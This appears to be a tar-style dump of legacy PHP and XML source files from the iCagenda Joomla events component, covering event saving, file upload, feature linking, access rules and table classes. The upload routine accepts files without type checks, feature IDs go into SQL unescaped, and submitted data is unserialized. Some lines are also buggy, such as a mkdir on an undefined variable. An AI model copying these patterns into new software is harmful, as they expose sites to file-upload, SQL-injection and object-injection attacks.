					$data['alias'] = JFilterOutput::stringURLUnicodeSlug($data['title']);
				}
				else
				{
					$data['alias'] = JFilterOutput::stringURLSafe($data['title']);
				}

				$table = JTable::getInstance('Event', 'iCagendaTable');

				if ($table->load(array('alias' => $data['alias'], 'catid' => $data['catid'])))
				{
					$msg = JText::_('COM_ICAGENDA_ALERT_EVENT_SAVE_WARNING');
				}

				list($title, $alias) = $this->generateNewTitle($data['catid'], $data['alias'], $data['title']);
				$data['alias'] = $alias;

				if (isset($msg))
				{
					JFactory::getApplication()->enqueueMessage($msg, 'warning');
				}
			}
		}

		// Generates Alias if empty
		if ($data['alias'] == null || empty($data['alias']))
		{
			$data['alias'] = JFilterOutput::stringURLSafe($data['title']);

			if ($data['alias'] == null || empty($data['alias']))
			{
				if (JFactory::getConfig()->get('unicodeslugs') == 1)
				{
					$data['alias'] = JFilterOutput::stringURLUnicodeSlug($data['title']);
				}
				else
				{
					$data['alias'] = JFilterOutput::stringURLSafe($data['created']);
				}
			}
		}

		// Set File Uploaded
		if ( ! isset($data['file']))
		{
			$file = JRequest::getVar('jform', null, 'files', 'array');
			$fileUrl = $this->upload($file);
			$data['file'] = $fileUrl;
		}

		// Set Creator infos
		$userId	= $user->get('id');
		$userName = $user->get('name');

		if (empty($data['created_by']))
		{
			$data['created_by'] = (int) $userId;
		}

		$data['username'] = $userName;

		// Set Params
		if (isset($data['params']) && is_array($data['params']))
		{
			// Convert the params field to a string.
			$parameter = new JRegistry;
			$parameter->loadArray($data['params']);
			$data['params'] = (string)$parameter;
		}

		// Get Event ID from the result back to the Table after saving.
		$table = $this->getTable();

		if ($table->save($data) === true)
		{
			$data['id'] = $table->id;
		}
		else
		{
			$data['id'] = null;
		}

		if (parent::save($data))
		{
			// Save Features to database
			$this->maintainFeatures($data);

			// Save Custom Fields to database
			if (isset($data['custom_fields']) && is_array($data['custom_fields']))
			{
				icagendaCustomfields::saveToData($data['custom_fields'], $data['id'], 2);
			}

			return true;
		}

		return false;
	}

	/**
	 * Upload
	 *
	 * @since	3.5.3
	 */
	function upload($file)
	{
		jimport('joomla.filesystem.file');
		jimport('joomla.filesystem.folder');

		$filename = JFile::makeSafe($file['name']['file']);

		// Get media path
		$params_media	= JComponentHelper::getParams('com_media');
		$image_path		= $params_media->get('image_path', 'images');

		// Paths to thumbs folder
		$thumbsPath		= $image_path . '/icagenda/thumbs';

		if ($filename != '')
		{
			$src = $file['tmp_name']['file'];
			$dest =  JPATH_SITE . '/' . $image_path . '/icagenda/files/' . $filename;

			if ( ! is_dir($dest))
			{
				mkdir($intDir, 0755);
			}

			if (JFile::upload($src, $dest, false))
			{
				echo 'upload';
				return $image_path . '/icagenda/files/' . $filename;
			}

			return $image_path . '/icagenda/files/' . $filename;
		}
	}

	/**
	 * Maintain features to data
	 *
	 * @since	3.4.0
	 */
	protected function maintainFeatures($data)
	{
		// Get the list of feature ids to be linked to the event
		$features = isset($data['features']) && is_array($data['features']) ? implode(',', $data['features']) : '';

		$db = JFactory::getDbo();

		// Write any new feature records to the icagenda_feature_xref table
		if ( ! empty($features))
		{
			// Get a list of the valid features already present for this event
			$query = $db->getQuery(true);

			$query->select('feature_id')
				->from($db->qn('#__icagenda_feature_xref'));

			$query->where('event_id = ' . (int) $data['id']);
			$query->where('feature_id IN (' . $features . ')');

			$db->setQuery($query);

			$existing_features = $db->loadColumn(0);

			// Identify the insert list
			if (empty($existing_features))
			{
				$new_features = $data['features'];
			}
			else
			{
				$new_features = array();

				foreach ($data['features'] as $feature)
				{
					if ( ! in_array($feature, $existing_features))
					{
						$new_features[] = $feature;
					}
				}
			}
			// Write the needed xref records
			if ( ! empty($new_features))
			{
				$xref = new JObject;
				$xref->set('event_id', $data['id']);

				foreach ($new_features as $feature)
				{
					$xref->set('feature_id', $feature);
					$db->insertObject('#__icagenda_feature_xref', $xref);
					$db->setQuery($query);

					if ( ! $db->execute())
					{
						return false;
					}
				}
			}
		}

		// Delete any unwanted feature records from the icagenda_feature_xref table
		$query = $db->getQuery(true);
		$query->delete($db->qn('#__icagenda_feature_xref'));
		$query->where('event_id = ' . (int) $data['id']);

		if ( ! empty($features))
		{
			// Delete only unwanted features
			$query->where('feature_id NOT IN (' . $features . ')');
		}

		$db->setQuery($query);
		$db->execute($query);

		if ( ! $db->execute())
		{
			return false;
		}

		return true;
	}

	/**
	 * Extracts the list of Feature IDs linked to the event and returns an array
	 *
	 * @param	integer  $event_id
	 *
	 * @return	array/integer  Set of Feature IDs
	 *
	 * @since	3.5.3
	 */
	protected function getFeatures($event_id)
	{
		// Write any new feature records to the icagenda_feature_xref table
		if (empty($event_id))
		{
			return '';
		}
		else
		{
			$db = JFactory::getDbo();

			// Get a comma separated list of the ids of features present for this event
			// Note: Direct extraction of a comma separated list is avoided because each db type uses proprietary syntax
			$query = $db->getQuery(true);
			$query->select('fx.feature_id')
				->from($db->qn('#__icagenda_events', 'e'))
				->innerJoin('#__icagenda_feature_xref AS fx ON e.id=fx.event_id')
				->innerJoin('#__icagenda_feature AS f ON fx.feature_id=f.id AND f.state=1');
			$query->where('e.id = ' . (int) $event_id);
			$db->setQuery($query);
			$features = $db->loadColumn(0);

			// Return a comma separated list
			return implode(',', $features);
		}
	}

	/**
	 * Approve Function.
	 *
	 * @since   3.2.0
	 */
	function approve($cid, $publish)
	{
		if (count($cid))
		{
			JArrayHelper::toInteger($cid);
			$cids = implode( ',', $cid );
			$query = 'UPDATE #__icagenda_events'
					. ' SET approval = '.(int) $publish
					. ' WHERE id IN ( '.$cids.' )';
					$this->_db->setQuery( $query );

			if ( ! $this->_db->query())
			{
				$this->setError($this->_db->getErrorMsg());

				return false;
			}
		}

		return true;
	}

	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the permission set in the component.
	 *
	 * @since   3.6.0
	 */
//	protected function canDelete($record)
//	{
//		if ( ! empty($record->id))
//		{
//			if ($record->state != -2)
//			{
//				return false;
//			}

//			$user = JFactory::getUser();

//			return $user->authorise('core.delete', 'com_icagenda.event.' . (int) $record->id);
//		}

//		return false;
//	}

	/**
	 * Method to test whether a record can have its state edited.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to change the state of the record. Defaults to the permission set in the component.
	 *
	 * @since   3.6.0
	 */
//	protected function canEditState($record)
//	{
//		$user = JFactory::getUser();

		// Check for existing event.
//		if (!empty($record->id))
//		{
//			return $user->authorise('core.edit.state', 'com_icagenda.event.' . (int) $record->id);
//		}
		// New event, so check against the category.
//		elseif (!empty($record->catid))
//		{
//			return $user->authorise('core.edit.state', 'com_icagenda.event.' . (int) $record->catid);
//		}
		// Default to component settings if neither event nor category known.
//		else
//		{
//			return parent::canEditState('com_icagenda');
//		}
//	}
}
com_icagenda/access.xml000060400000005277152455305270011137 0ustar00<?xml version="1.0" encoding="utf-8"?>
<access component="com_icagenda">
	<section name="component">
		<action name="core.admin" title="JACTION_ADMIN" description="JACTION_ADMIN_COMPONENT_DESC" />
		<action name="core.manage" title="JACTION_MANAGE" description="JACTION_MANAGE_COMPONENT_DESC" />
		<action name="core.create" title="JACTION_CREATE" description="JACTION_CREATE_COMPONENT_DESC" />
		<action name="core.delete" title="JACTION_DELETE" description="JACTION_DELETE_COMPONENT_DESC" />
		<action name="core.edit" title="JACTION_EDIT" description="JACTION_EDIT_COMPONENT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="JACTION_EDITSTATE_COMPONENT_DESC" />
		<action name="core.edit.own" title="JACTION_EDITOWN" description="JACTION_EDITOWN_COMPONENT_DESC" />
		<action name="icagenda.access.categories" title="COM_ICAGENDA_ACCESS_VIEW_CATEGORIES"
			description="COM_ICAGENDA_ACCESS_VIEW_CATEGORIES_DESC" />
		<action name="icagenda.access.events" title="COM_ICAGENDA_ACCESS_VIEW_EVENTS"
			description="COM_ICAGENDA_ACCESS_VIEW_EVENTS_DESC" />
		<action name="icagenda.access.registrations" title="COM_ICAGENDA_ACCESS_VIEW_REGISTRATIONS"
			description="COM_ICAGENDA_ACCESS_VIEW_REGISTRATIONS_DESC" />
		<action name="icagenda.access.newsletter" title="COM_ICAGENDA_ACCESS_VIEW_NEWSLETTER"
			description="COM_ICAGENDA_ACCESS_VIEW_NEWSLETTER_DESC" />
		<action name="icagenda.access.customfields" title="COM_ICAGENDA_ACCESS_VIEW_CUSTOMFIELDS"
			description="COM_ICAGENDA_ACCESS_VIEW_CUSTOMFIELDS_DESC" />
		<action name="icagenda.access.features" title="COM_ICAGENDA_ACCESS_VIEW_FEATURES"
			description="COM_ICAGENDA_ACCESS_VIEW_FEATURES_DESC" />
		<action name="icagenda.access.themes" title="COM_ICAGENDA_ACCESS_VIEW_THEMES"
			description="COM_ICAGENDA_ACCESS_VIEW_THEMES_DESC" />
	</section>
	<section name="category">
		<action name="core.create" title="JACTION_CREATE" description="COM_CATEGORIES_ACCESS_CREATE_DESC" />
		<action name="core.delete" title="JACTION_DELETE" description="COM_CATEGORIES_ACCESS_DELETE_DESC" />
		<action name="core.edit" title="JACTION_EDIT" description="COM_CATEGORIES_ACCESS_EDIT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="COM_CATEGORIES_ACCESS_EDITSTATE_DESC" />
		<action name="core.edit.own" title="JACTION_EDITOWN" description="COM_CATEGORIES_ACCESS_EDITOWN_DESC" />
	</section>
	<section name="event">
		<action name="core.delete" title="JACTION_DELETE" description="COM_CONTENT_ACCESS_DELETE_DESC" />
		<action name="core.edit" title="JACTION_EDIT" description="COM_CONTENT_ACCESS_EDIT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="COM_CONTENT_ACCESS_EDITSTATE_DESC" />
	</section>
</access>
com_icagenda/helpers/icagenda.php000060400000021155152455305270013053 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.4.0 2014-07-02
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

// Access check.
if (!JFactory::getUser()->authorise('core.manage', 'com_icagenda')) {
	return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR'));
}

/**
 * iCagenda helper.
 */
class iCagendaHelper
{
	/**
	 * Configure the Linkbar.
	 */
	public static function addSubmenu($submenu)
	{
		if(version_compare(JVERSION, '3.0', 'lt'))
		{
			JSubMenuHelper::addEntry(
				JText::_('COM_ICAGENDA_TITLE_ICAGENDA'),
				'index.php?option=com_icagenda&view=icagenda',
				$submenu == 'icagenda'
			);
			if (JFactory::getUser()->authorise('icagenda.access.categories', 'com_icagenda'))
			{
				JSubMenuHelper::addEntry(
					JText::_('COM_ICAGENDA_TITLE_CATEGORIES'),
					'index.php?option=com_icagenda&view=categories',
					$submenu == 'categories'
				);
			}
			if (JFactory::getUser()->authorise('icagenda.access.events', 'com_icagenda'))
			{
				JSubMenuHelper::addEntry(
					JText::_('COM_ICAGENDA_TITLE_EVENTS'),
					'index.php?option=com_icagenda&view=events',
					$submenu == 'events'
				);
			}
			if (JFactory::getUser()->authorise('icagenda.access.registrations', 'com_icagenda'))
			{
				JSubMenuHelper::addEntry(
					JText::_('COM_ICAGENDA_TITLE_REGISTRATION'),
					'index.php?option=com_icagenda&view=registrations',
					$submenu == 'registrations'
				);
			}
			if (JFactory::getUser()->authorise('icagenda.access.newsletter', 'com_icagenda'))
			{
				JSubMenuHelper::addEntry(
					JText::_('COM_ICAGENDA_TITLE_NEWSLETTER'),
					'index.php?option=com_icagenda&view=mail&layout=edit',
					$submenu == 'newsletter'
				);
			}
			if (JFactory::getUser()->authorise('icagenda.access.customfields', 'com_icagenda'))
			{
				JSubMenuHelper::addEntry(
					JText::_('COM_ICAGENDA_TITLE_CUSTOMFIELDS'),
					'index.php?option=com_icagenda&view=customfields',
					$submenu == 'customfields'
				);
			}
			if (JFactory::getUser()->authorise('icagenda.access.features', 'com_icagenda'))
			{
				JSubMenuHelper::addEntry(
					JText::_('COM_ICAGENDA_TITLE_FEATURES'),
					'index.php?option=com_icagenda&view=features',
					$submenu == 'features'
				);
			}
			if (JFactory::getUser()->authorise('icagenda.access.themes', 'com_icagenda'))
			{
				JSubMenuHelper::addEntry(
					JText::_('COM_ICAGENDA_THEMES'),
					'index.php?option=com_icagenda&view=themes',
					$submenu == 'themes'
				);
			}
			JSubMenuHelper::addEntry(
				JText::_('COM_ICAGENDA_INFO'),
				'index.php?option=com_icagenda&view=info',
				$submenu == 'info'
			);

			$document = JFactory::getDocument();

			/**
			 * Set Titles iCagenda
			 */
			if ($submenu == 'icagenda')
			{
				$document->setTitle(JText::_('COM_ICAGENDA'));
			}
			if ($submenu == 'categories')
			{
				$document->setTitle(JText::_('COM_ICAGENDA') . ' | ' . JText::_('COM_ICAGENDA_TITLE_CATEGORIES'));
			}
			if ($submenu == 'events')
			{
				$document->setTitle(JText::_('COM_ICAGENDA') . ' | ' . JText::_('COM_ICAGENDA_TITLE_EVENTS'));
			}
			if ($submenu == 'registrations')
			{
				$document->setTitle(JText::_('COM_ICAGENDA') . ' | ' . JText::_('COM_ICAGENDA_TITLE_REGISTRATION'));
			}
			if ($submenu == 'newsletter')
			{
				$document->setTitle(JText::_('COM_ICAGENDA') . ' | ' . JText::_('COM_ICAGENDA_TITLE_NEWSLETTER'));
			}
			if ($submenu == 'customfields')
			{
				$document->setTitle(JText::_('COM_ICAGENDA') . ' | ' . JText::_('COM_ICAGENDA_TITLE_CUSTOMFIELDS'));
			}
			if ($submenu == 'features')
			{
				$document->setTitle(JText::_('COM_ICAGENDA') . ' | ' . JText::_('COM_ICAGENDA_TITLE_FEATURES'));
			}
			if ($submenu == 'themes')
			{
				$document->setTitle(JText::_('COM_ICAGENDA') . ' | ' . JText::_('COM_ICAGENDA_THEMES'));
			}
			if ($submenu == 'info')
			{
				$document->setTitle(JText::_('COM_ICAGENDA') . ' | ' . JText::_('COM_ICAGENDA_INFO'));
			}

			$document->addStyleDeclaration('
				.icon48icagenda{background: url(../media/com_icagenda/images/XXX.png);}
				.icon-48-events {background: url(../media/com_icagenda/images/all_events-48.png) no-repeat;}
				.icon-48-event {background: url(../media/com_icagenda/images/new_event-48.png) no-repeat;}
				.icon-48-registration {background: url(../media/com_icagenda/images/registration-48.png) no-repeat;}
				.icon-48-categories {background: url(../media/com_icagenda/images/all_cats-48.png) no-repeat;}
				.icon-48-category {background: url(../media/com_icagenda/images/new_cat-48.png) no-repeat;}
				.icon-48-generic {background: url(../media/com_icagenda/images/iconicagenda48.png) no-repeat;}
				.icon-48-mail {background: url(../media/com_icagenda/images/newsletter-48.png) no-repeat;}
				.icon-48-themes {background: url(../media/com_icagenda/images/themes-48.png) no-repeat;}
				.icon-48-customfields {background: url(../media/com_icagenda/images/customfields-48.png) no-repeat;}
				.icon-48-info {background: url(../media/com_icagenda/images/info-48.png) no-repeat;}
			');
		}
		else
		{
			JHtmlSidebar::addEntry(
				JText::_('COM_ICAGENDA_TITLE_ICAGENDA'),
				'index.php?option=com_icagenda&view=icagenda',
				$submenu == 'icagenda'
			);
			if (JFactory::getUser()->authorise('icagenda.access.categories', 'com_icagenda'))
			{
				JHtmlSidebar::addEntry(
					JText::_('COM_ICAGENDA_TITLE_CATEGORIES'),
					'index.php?option=com_icagenda&view=categories',
					$submenu == 'categories'
				);
			}
			if (JFactory::getUser()->authorise('icagenda.access.events', 'com_icagenda'))
			{
				JHtmlSidebar::addEntry(
					JText::_('COM_ICAGENDA_TITLE_EVENTS'),
					'index.php?option=com_icagenda&view=events',
					$submenu == 'events'
				);
			}
			if (JFactory::getUser()->authorise('icagenda.access.registrations', 'com_icagenda'))
			{
				JHtmlSidebar::addEntry(
					JText::_('COM_ICAGENDA_TITLE_REGISTRATION'),
					'index.php?option=com_icagenda&view=registrations',
					$submenu == 'registrations'
				);
			}
			if (JFactory::getUser()->authorise('icagenda.access.newsletter', 'com_icagenda'))
			{
				JHtmlSidebar::addEntry(
					JText::_('COM_ICAGENDA_TITLE_NEWSLETTER'),
					'index.php?option=com_icagenda&view=mail&layout=edit',
					$submenu == 'newsletter'
				);
			}
			if (JFactory::getUser()->authorise('icagenda.access.customfields', 'com_icagenda'))
			{
				JHtmlSidebar::addEntry(
					JText::_('COM_ICAGENDA_TITLE_CUSTOMFIELDS'),
					'index.php?option=com_icagenda&view=customfields',
					$submenu == 'customfields'
				);
			}
			if (JFactory::getUser()->authorise('icagenda.access.features', 'com_icagenda'))
			{
				JHtmlSidebar::addEntry(
					JText::_('COM_ICAGENDA_TITLE_FEATURES'),
					'index.php?option=com_icagenda&view=features',
					$submenu == 'features'
				);
			}
			if (JFactory::getUser()->authorise('icagenda.access.themes', 'com_icagenda'))
			{
				JHtmlSidebar::addEntry(
					JText::_('COM_ICAGENDA_THEMES'),
					'index.php?option=com_icagenda&view=themes',
					$submenu == 'themes'
				);
			}
			JHtmlSidebar::addEntry(
				JText::_('COM_ICAGENDA_INFO'),
				'index.php?option=com_icagenda&view=info',
				$submenu == 'info'
			);
		}
	}

	/**
	 * Gets a list of the actions that can be performed.
	 */
	public static function getActions($messageId = 0)
	{
		$user   = JFactory::getUser();
		$result = new JObject;

		if (empty($messageId))
		{
			$assetName = 'com_icagenda';
		}
		else
		{
			$assetName = 'com_icagenda.message.'.(int) $messageId;
		}

		$actions = array(
			'core.admin',
			'core.manage',
			'core.create',
			'core.edit',
			'core.delete',
			'core.edit.state',
			'core.edit.own',
			'icagenda.access.categories',
			'icagenda.access.events',
			'icagenda.access.registrations',
			'icagenda.access.newsletter',
			'icagenda.access.customfields',
			'icagenda.access.features',
			'icagenda.access.themes'
		);

		foreach ($actions as $action)
		{
			$result->set($action, $user->authorise($action, $assetName));
		}

		return $result;
	}

	/**
	 * Tests whether a string is serialized before attempting to unserialize it
	 *
	 * ( TO BE REMOVED WHEN ALL CALLS FROM IC LIBRARY !!! )
	 */
	public static function isSerialized($str)
	{
		return ($str == serialize(false) || @unserialize($str) !== false);
	}
}
com_icagenda/helpers/html/events.php000060400000002761152455305270013572 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.1.10 2013-09-11
 * @since       3.2
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * Extended Utility class for the iCagenda component.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_iCagenda
 * @since       3.2
 */
class JHtmlEvents
{

	public static function approveEvents()
	{
		$states = array(
			1	=> array(
				'img'				=> 'tick.png',
				'task'				=> 'approve',
				'text'				=> '',
				'active_title'		=> 'COM_ICAGENDA_TOOLBAR_APPROVE',
				'inactive_title'	=> '',
				'tip'				=> true,
				'active_class'		=> 'unpublish',
				'inactive_class'	=> 'unpublish'
			),
			0	=> array(
				'img'				=> 'publish_x.png',
				'task'				=> '',
				'text'				=> '',
				'active_title'		=> '',
				'inactive_title'	=> 'COM_ICAGENDA_APPROVED',
				'tip'				=> true,
				'active_class'		=> 'publish',
				'inactive_class'	=> 'publish'
			)
		);
		return $states;
	}
}
com_icagenda/helpers/html/index.html000060400000000037152455305270013544 0ustar00<!DOCTYPE html><title></title>
com_icagenda/tables/category.php000060400000011261152455305270012742 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rez�, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rez� (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.4.0 2014-12-04
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * category Table class
 */
class iCagendaTablecategory extends JTable
{
	/**
	 * Constructor
	 *
	 * @param JDatabase A database connector object
	 */
	public function __construct(&$_db)
	{
		parent::__construct('#__icagenda_category', 'id', $_db);
	}

	/**
	 * Overloaded bind function to pre-process the params.
	 *
	 * @param	array		Named array
	 * @return	null|string	null is operation was satisfactory, otherwise returns an error
	 * @see		JTable:bind
	 * @since	1.5
	 */
	public function bind($array, $ignore = '')
	{
		if (isset($array['params']) && is_array($array['params'])) {
			$registry = new JRegistry();
			$registry->loadArray($array['params']);
			$array['params'] = (string)$registry;
		}

		if (isset($array['metadata']) && is_array($array['metadata'])) {
			$registry = new JRegistry();
			$registry->loadArray($array['metadata']);
			$array['metadata'] = (string)$registry;
		}
		return parent::bind($array, $ignore);
	}

    /**
    * Overloaded check function
    */
    public function check()
    {
		// If there is an ordering column and this is a new row then get the next ordering value
        if (property_exists($this, 'ordering') && $this->id == 0)
        {
            $this->ordering = self::getNextOrder();
        }

        return parent::check();
    }


    /**
     * Method to set the publishing state for a row or list of rows in the database
     * table.  The method respects checked out rows by other users and will attempt
     * to checkin rows that it can after adjustments are made.
     *
     * @param    mixed    An optional array of primary key values to update.  If not
     *                    set the instance property value is used.
     * @param    integer The publishing state. eg. [0 = unpublished, 1 = published]
     * @param    integer The user id of the user performing the operation.
     * @return    boolean    True on success.
     * @since    1.0.4
     */
    public function publish($pks = null, $state = 1, $userId = 0)
    {
        // Initialise variables.
        $k = $this->_tbl_key;

        // Sanitize input.
        JArrayHelper::toInteger($pks);
        $userId = (int) $userId;
        $state  = (int) $state;

        // If there are no primary keys set check to see if the instance key is set.
        if (empty($pks))
        {
            if ($this->$k) {
                $pks = array($this->$k);
            }
            // Nothing to set publishing state on, return false.
            else {
                $this->setError(JText::_('JLIB_DATABASE_ERROR_NO_ROWS_SELECTED'));
                return false;
            }
        }

        // Build the WHERE clause for the primary keys.
        $where = $k.'='.implode(' OR '.$k.'=', $pks);

        // Determine if there is checkin support for the table.
        if (!property_exists($this, 'checked_out') || !property_exists($this, 'checked_out_time')) {
            $checkin = '';
        }
        else {
            $checkin = ' AND (checked_out = 0 OR checked_out = '.(int) $userId.')';
        }

        // Update the publishing state for rows with the given primary keys.
        $this->_db->setQuery(
            'UPDATE `'.$this->_tbl.'`' .
            ' SET `state` = '.(int) $state .
            ' WHERE ('.$where.')' .
            $checkin
        );
        $this->_db->query();

        // Check for a database error.
        if ($this->_db->getErrorNum()) {
            $this->setError($this->_db->getErrorMsg());
            return false;
        }

        // If checkin is supported and all rows were adjusted, check them in.
        if ($checkin && (count($pks) == $this->_db->getAffectedRows()))
        {
            // Checkin the rows.
            foreach($pks as $pk)
            {
                $this->checkin($pk);
            }
        }

        // If the JTable instance value is in the list of primary keys that were set, set the instance.
        if (in_array($this->$k, $pks)) {
            $this->state = $state;
        }

        $this->setError('');
        return true;
    }
}
com_icagenda/tables/event.php000060400000046062152455305270012255 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.10 2015-08-14
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * event Table class
 */
class iCagendaTableEvent extends JTable
{
	/**
	 * @var array $custom_fields  Property for the array of custom fields.
	 * This needs to be specified because there is no column for features in the events table
	 */
	protected $custom_fields = array();

	/**
	 * Constructor
	 *
	 * @param JDatabase A database connector object
	 */
	public function __construct(&$_db)
	{
		parent::__construct('#__icagenda_events', 'id', $_db);
	}

	/**
	 * Overloaded bind function to pre-process the params.
	 *
	 * @param	array		Named array
	 * @return	null|string	null is operation was satisfactory, otherwise returns an error
	 * @see		JTable:bind
	 * @since	1.3
	 */
	public function bind($array, $ignore = '')
	{
		$lang	= JFactory::getLanguage();

		// Serialize Single Dates
		$dev_option = '0';

		// Set Vars
		$eventTimeZone	= null;
		$nodate			= '0000-00-00 00:00:00';
		$date_today		= JHtml::date('now', 'Y-m-d'); // Joomla Time Zone

        if (iCString::isSerialized($array['dates']))
		{
			$dates = unserialize($array['dates']);
		}
		elseif ($dev_option == '1') // DEV.
		{
			$dates = $this->setDatesOptions($array['dates']);
		}
		else
		{
			$dates = $this->getDates($array['dates']);

			if ($lang->getTag() == 'fa-IR'
				&& $dates != array('0000-00-00 00:00')
				&& $dates != array('')
				)
			{
				$dates_to_sql = array();

				foreach ($dates AS $date)
				{
					if (iCDate::isDate($date))
					{
						$year		= date('Y', strtotime($date));
						$month		= date('m', strtotime($date));
						$day		= date('d', strtotime($date));
						$time		= date('H:i', strtotime($date));

						$converted_date = iCGlobalizeConvert::jalaliToGregorian($year, $month, $day, true) . ' ' . $time;
						$dates_to_sql[] = date('Y-m-d H:i', strtotime($converted_date));
					}
				}

				$dates = $dates_to_sql;
			}
		}

		$dates = ($dates == array('')) ? array('0000-00-00 00:00') : $dates;

		rsort($dates);

		if ($dev_option == '1') // DEV.
		{
			$array['dates']	= $array['dates'];
		}
		else
		{
			$array['dates']	= serialize($dates);
		}


		/**
		 * Set Week Days
		 */
		if (!isset($array['weekdays']))
		{
			$array['weekdays'] = '';
		}
		elseif (is_array($array['weekdays']))
		{
			$array['weekdays'] = implode(',', $array['weekdays']);
		}

		// Return the dates of the period.
		$startdate	= ($array['startdate'] == NULL) ? $nodate : $array['startdate'];
		$enddate	= ($array['enddate'] == NULL) ? $nodate : $array['enddate'];

		if (($startdate == $nodate) && ($enddate != $nodate))
		{
			$enddate = $nodate;
		}

		if (strtotime($startdate) > strtotime($enddate))
		{
			$errorperiod = '1';
		}
		else
		{
			$errorperiod = '';

			$period_all_dates_array	= iCDatePeriod::listDates($startdate, $enddate, $eventTimeZone);
			$WeeksDays				= iCDatePeriod::weekdaysToArray($array['weekdays']);

			$period_array = array();

			foreach ($period_all_dates_array AS $date_in_weekdays)
			{
				$datetime_period_date = JHtml::date($date_in_weekdays, 'Y-m-d H:i', $eventTimeZone);

				if (in_array(date('w', strtotime($datetime_period_date)), $WeeksDays))
				{
					array_push($period_array, $datetime_period_date);
				}
			}
		}

		// Serialize Period Dates
		if (($startdate != $nodate) && ($enddate != $nodate))
		{
			if ($errorperiod != '1')
			{
				$array['period'] = serialize($period_array);

				$period = (iCString::isSerialized($array['period'])) ? unserialize($array['period']) : array();

				if ($lang->getTag() == 'fa-IR')
				{
					$period_to_sql = array();

					foreach ($period AS $date)
					{
						if (iCDate::isDate($date))
						{
							$year		= date('Y', strtotime($date));
							$month		= date('m', strtotime($date));
							$day		= date('d', strtotime($date));
							$time		= date('H:i', strtotime($date));

							$converted_date = iCGlobalizeConvert::jalaliToGregorian($year, $month, $day, true) . ' ' . $time;
							$period_to_sql[] = date('Y-m-d H:i', strtotime($converted_date));
						}
					}

					$period = $period_to_sql;
				}

				rsort($period);

				$array['period'] = serialize($period);
			}
			else
			{
				$array['period'] = '';
			}
		}
		else
		{
			$array['period'] = '';
		}

		// Set Next Date
		$NextDates	= $this->getNextDates($dates);
		$NextPeriod	= isset($period)
					? $this->getNextPeriod($period, $array['weekdays'])
					: $this->getNextDates($dates);

		$date_NextDates		= JHtml::date($NextDates, 'Y-m-d', $eventTimeZone);
		$date_NextPeriod	= JHtml::date($NextPeriod, 'Y-m-d', $eventTimeZone);
		$time_NextDates		= JHtml::date($NextDates, 'H:i', $eventTimeZone);
		$time_NextPeriod	= JHtml::date($NextPeriod, 'H:i', $eventTimeZone);
//		$date_NextDates		= date('Y-m-d', strtotime($NextDates));
//		$date_NextPeriod	= date('Y-m-d', strtotime($NextPeriod));
//		$time_NextDates		= date('H:i', strtotime($NextDates));
//		$time_NextPeriod	= date('H:i', strtotime($NextPeriod));

		// Control the next date
		if ((strtotime($date_NextDates) >= strtotime($date_today)) && (strtotime($date_NextPeriod) >= strtotime($date_today)))
		{
			if (strtotime($date_NextDates) < strtotime($date_NextPeriod))
			{
				$array['next'] = $this->getNextDates($dates);
			}
			if (strtotime($date_NextDates) > strtotime($date_NextPeriod))
			{
				$array['next'] = $this->getNextPeriod($period, $array['weekdays']);
			}
			if (strtotime($date_NextDates) == strtotime($date_NextPeriod))
			{
				if (strtotime($time_NextDates) >= strtotime($time_NextPeriod))
				{
					if (isset($period))
					{
						$array['next'] = $this->getNextPeriod($period, $array['weekdays']);
					}
					else
					{
						$array['next'] = $this->getNextDates($dates);
					}
				}
				else
				{
					$array['next'] = $this->getNextDates($dates);
				}
			}
		}
		elseif ((strtotime($date_NextDates) < strtotime($date_today)) && (strtotime($date_NextPeriod) >= strtotime($date_today)))
		{
			$array['next'] = $this->getNextPeriod($period, $array['weekdays']);
		}
		elseif ((strtotime($date_NextDates) >= strtotime($date_today)) && (strtotime($date_NextPeriod) < strtotime($date_today)))
		{
			$array['next'] = $this->getNextDates($dates);
		}
		elseif ((strtotime($date_NextDates) < strtotime($date_today)) && (strtotime($date_NextPeriod) < strtotime($date_today)))
		{
